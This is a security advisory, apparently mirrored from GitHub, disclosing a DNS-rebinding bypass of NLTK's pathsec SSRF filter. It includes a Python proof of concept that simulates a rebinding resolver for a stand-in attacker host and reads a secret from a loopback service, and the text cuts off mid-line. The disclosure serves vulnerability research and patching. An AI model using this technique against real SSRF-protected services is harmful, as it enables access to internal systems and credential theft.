Acronym: Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download /

### Summary `nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`. ### Details `urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.) 2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) `_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. ### PoC ```python import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" # --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port # --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, *args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fe

• github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3 (opens in a new tab)
• github.com/nltk/nltk (opens in a new tab)

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